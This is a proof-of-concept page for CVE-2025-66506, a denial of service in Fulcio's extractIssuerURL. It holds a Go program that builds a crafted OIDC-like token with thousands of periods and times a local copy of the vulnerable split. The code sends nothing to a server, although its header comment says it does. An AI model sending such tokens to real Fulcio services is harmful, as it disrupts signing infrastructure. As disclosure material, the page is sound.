CVE-2025-66506: Fulcio extractIssuerURL函数拒绝服务漏洞

// CVE-2025-66506 PoC - Fulcio DoS via malicious OIDC token // This PoC demonstrates sending a crafted OIDC token with excessive periods package main import ( "fmt" "strings" "time" ) // Vulnerable function from Fulcio (prior to 1.8.3) func extractIssuerURL(token string) []string { // This split operation is vulnerable to memory exhaustion // when token contains many period characters return strings.Split(token, ".") } // Generate malicious token with excessive periods func generateMaliciousToken(numPeriods int) string { var sb strings.Builder sb.WriteString("eyJ") for i := 0; i < numPeriods; i++ { sb.WriteString(strings.Repeat("a.", 100)) } sb.WriteString("sign") return sb.String() } func main() { fmt.Println("CVE-2025-66506 PoC - Fulcio extractIssuerURL DoS") fmt.Println("===============================================") // Test with increasing numbers of periods testCases := []int{100, 500, 1000, 5000} for _, numPeriods := range testCases { maliciousToken := generateMaliciousToken(numPeriods) start := time.Now() result := extractIssuerURL(maliciousToken) elapsed := time.Since(start) fmt.Printf("Periods: %d | Result parts: %d | Time: %v\n", numPeriods, len(result), elapsed) } fmt.Println("\n[!] Note: In production, this can cause memory exhaustion") fmt.Println("[!] Recommendation: Upgrade to Fulcio >= 1.8.3") }